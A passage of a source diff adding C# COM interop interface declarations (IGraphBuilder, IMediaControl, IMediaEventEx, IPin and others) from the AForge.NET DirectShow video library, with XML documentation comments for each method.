int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter( [In] IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters( [Out] out IEnumFilters enumerator );
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource( );
|
||||
|
||||
// --- IGraphBuilder methods
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect( [In] IPin pinOut, [In] IPin pinIn );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a chain of filters to a specified output pin to render it.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Render( [In] IPin pinOut );
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||
/// <param name="playList">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string playList );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph for a specific file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||
[Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hFile">Handle to the log file.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetLogFile( IntPtr hFile );
|
||||
|
||||
/// <summary>
|
||||
/// Requests that the graph builder return as soon as possible from its current task.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Abort( );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether the current operation should continue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ShouldOperationContinue( );
|
||||
|
||||
|
||||
// --- IFilterGraph2 methods
|
||||
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="moniker">Moniker interface.</param>
|
||||
/// <param name="bindContext">Bind context interface.</param>
|
||||
/// <param name="filterName">Name for the filter.</param>
|
||||
/// <param name="filter"> Receives source filter's IBaseFilter interface.
|
||||
/// The caller must release the interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilterForMoniker(
|
||||
[In] IMoniker moniker,
|
||||
[In] IBindCtx bindContext,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||
[Out] out IBaseFilter filter
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin,
|
||||
/// using a specified media type.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
/// <param name="mediaType">Media type to reconnect with.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ReconnectEx(
|
||||
[In] IPin pin,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Render an output pin, with an option to use existing renderers only.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPin">Interface of the output pin.</param>
|
||||
/// <param name="flags">Flag that specifies how to render the pin.</param>
|
||||
/// <param name="context">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderEx(
|
||||
[In] IPin outputPin,
|
||||
[In] int flags,
|
||||
[In] IntPtr context
|
||||
);
|
||||
|
||||
}
|
||||
}
|
@ -0,0 +1,198 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface provides methods that enable an application to build a filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IGraphBuilder
|
||||
{
|
||||
// --- IFilterGraph Methods
|
||||
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter( [In] IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters( [Out] out IEnumFilters enumerator );
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource( );
|
||||
|
||||
// --- IGraphBuilder methods
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect( [In] IPin pinOut, [In] IPin pinIn );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a chain of filters to a specified output pin to render it.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Render( [In] IPin pinOut );
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||
/// <param name="playList">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string playList);
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph for a specific file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||
[Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hFile">Handle to the log file.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetLogFile( IntPtr hFile );
|
||||
|
||||
/// <summary>
|
||||
/// Requests that the graph builder return as soon as possible from its current task.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Abort( );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether the current operation should continue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ShouldOperationContinue( );
|
||||
}
|
||||
}
|
@ -0,0 +1,118 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface provides methods for controlling the flow of data through the filter graph.
|
||||
/// It includes methods for running, pausing, and stopping the graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsDual )]
|
||||
internal interface IMediaControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Runs all the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Run( );
|
||||
|
||||
/// <summary>
|
||||
/// Pauses all filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Pause( );
|
||||
|
||||
/// <summary>
|
||||
/// Stops all the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Stop( );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the state of the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="timeout">Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.</param>
|
||||
/// <param name="filterState">Ìariable that receives a member of the <b>FILTER_STATE</b> enumeration.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetState( int timeout, out int filterState );
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Name of the file to render</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile( string fileName );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph, for a specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Name of the file containing the source video.</param>
|
||||
/// <param name="filterInfo">Receives interface of filter information object.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a collection of the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="collection">Receives the <b>IAMCollection</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_FilterCollection(
|
||||
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a collection of all the filters listed in the registry.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="collection">Receives the <b>IDispatch</b> interface of <b>IAMCollection</b> object.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_RegFilterCollection(
|
||||
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
|
||||
|
||||
/// <summary>
|
||||
/// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int StopWhenReady( );
|
||||
}
|
||||
}
|
@ -0,0 +1,126 @@
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface inherits contains methods for retrieving event notifications and for overriding the
|
||||
/// filter graph's default handling of events.
|
||||
/// </summary>
|
||||
[ComVisible( true ), ComImport,
|
||||
Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsDual )]
|
||||
internal interface IMediaEventEx
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.
|
||||
/// </summary>
|
||||
/// <param name="hEvent">Pointer to a variable that receives the event handle.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetEventHandle( out IntPtr hEvent );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the next event notification from the event queue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lEventCode">Variable that receives the event code.</param>
|
||||
/// <param name="lParam1">Pointer to a variable that receives the first event parameter.</param>
|
||||
/// <param name="lParam2">Pointer to a variable that receives the second event parameter.</param>
|
||||
/// <param name="msTimeout">Time-out interval, in milliseconds.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout );
|
||||
|
||||
/// <summary>
|
||||
/// Waits for the filter graph to render all available data.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="msTimeout">Time-out interval, in milliseconds. Pass zero to return immediately.</param>
|
||||
/// <param name="pEvCode">Pointer to a variable that receives an event code.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int WaitForCompletion( int msTimeout, [Out] out int pEvCode );
|
||||
|
||||
/// <summary>
|
||||
/// Cancels the Filter Graph Manager's default handling for a specified event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lEvCode">Event code for which to cancel default handling.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CancelDefaultHandling( int lEvCode );
|
||||
|
||||
/// <summary>
|
||||
/// Restores the Filter Graph Manager's default handling for a specified event.
|
||||
/// </summary>
|
||||
/// <param name="lEvCode">Event code for which to restore default handling.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RestoreDefaultHandling( int lEvCode );
|
||||
|
||||
/// <summary>
|
||||
/// Frees resources associated with the parameters of an event.
|
||||
/// </summary>
|
||||
/// <param name="lEvCode">Event code.</param>
|
||||
/// <param name="lParam1">First event parameter.</param>
|
||||
/// <param name="lParam2">Second event parameter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 );
|
||||
|
||||
/// <summary>
|
||||
/// Registers a window to process event notifications.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hwnd">Handle to the window, or <see cref="IntPtr.Zero"/> to stop receiving event messages.</param>
|
||||
/// <param name="lMsg">Window message to be passed as the notification.</param>
|
||||
/// <param name="lInstanceData">Value to be passed as the <i>lParam</i> parameter for the <i>lMsg</i> message.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData );
|
||||
|
||||
/// <summary>
|
||||
/// Enables or disables event notifications.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lNoNotifyFlags">Value indicating whether to enable or disable event notifications.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetNotifyFlags( int lNoNotifyFlags );
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether event notifications are enabled.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lplNoNotifyFlags">Variable that receives current notification status.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetNotifyFlags( out int lplNoNotifyFlags );
|
||||
}
|
||||
}
|
@ -0,0 +1,191 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface is exposed by all input and output pins of DirectShow filters.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IPin
|
||||
{
|
||||
/// <summary>
|
||||
/// Connects the pin to another pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="receivePin">Other pin to connect to.</param>
|
||||
/// <param name="mediaType">Type to use for the connections (optional).</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Makes a connection to this pin and is called by a connecting pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="receivePin">Connecting pin.</param>
|
||||
/// <param name="mediaType">Media type of the samples to be streamed.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the current pin connection.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( );
|
||||
|
||||
/// <summary>
|
||||
/// Returns a pointer to the connecting pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Receives <b>IPin</b> interface of connected pin (if any).</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectedTo( [Out] out IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Returns the media type of this pin's connection.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Pointer to an <see cref="AMMediaType"/> structure. If the pin is connected,
|
||||
/// the media type is returned. Otherwise, the structure is initialized to a default state in which
|
||||
/// all elements are 0, with the exception of <b>lSampleSize</b>, which is set to 1, and
|
||||
/// <b>FixedSizeSamples</b>, which is set to <b>true</b>.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about this pin (for example, the name, owning filter, and direction).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinInfo"><see cref="PinInfo"/> structure that receives the pin information.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryPinInfo( [Out] out PinInfo pinInfo );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the direction for this pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinDirection">Receives direction of the pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryDirection( out PinDirection pinDirection );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves an identifier for the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="id">Pin identifier.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether a given media type is acceptable by the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType"><see cref="AMMediaType"/> structure that specifies the media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for this pin's preferred media types.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Address of a variable that receives a pointer to the <b>IEnumMediaTypes</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumMediaTypes( IntPtr enumerator );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an array of the pins to which this pin internally connects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="apPin">Address of an array of <b>IPin</b> pointers.</param>
|
||||
/// <param name="nPin">On input, specifies the size of the array. When the method returns,
|
||||
/// the value is set to the number of pointers returned in the array.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin );
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the pin that no additional data is expected.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EndOfStream( );
|
||||
|
||||
/// <summary>
|
||||
/// Begins a flush operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int BeginFlush( );
|
||||
|
||||
/// <summary>
|
||||
/// Ends a flush operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EndFlush( );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="start">Start time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||
/// <param name="stop">End time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||
/// <param name="rate">Rate at which this segment should be processed, as a percentage of the original rate.</param>
|
||||
///
|
||||
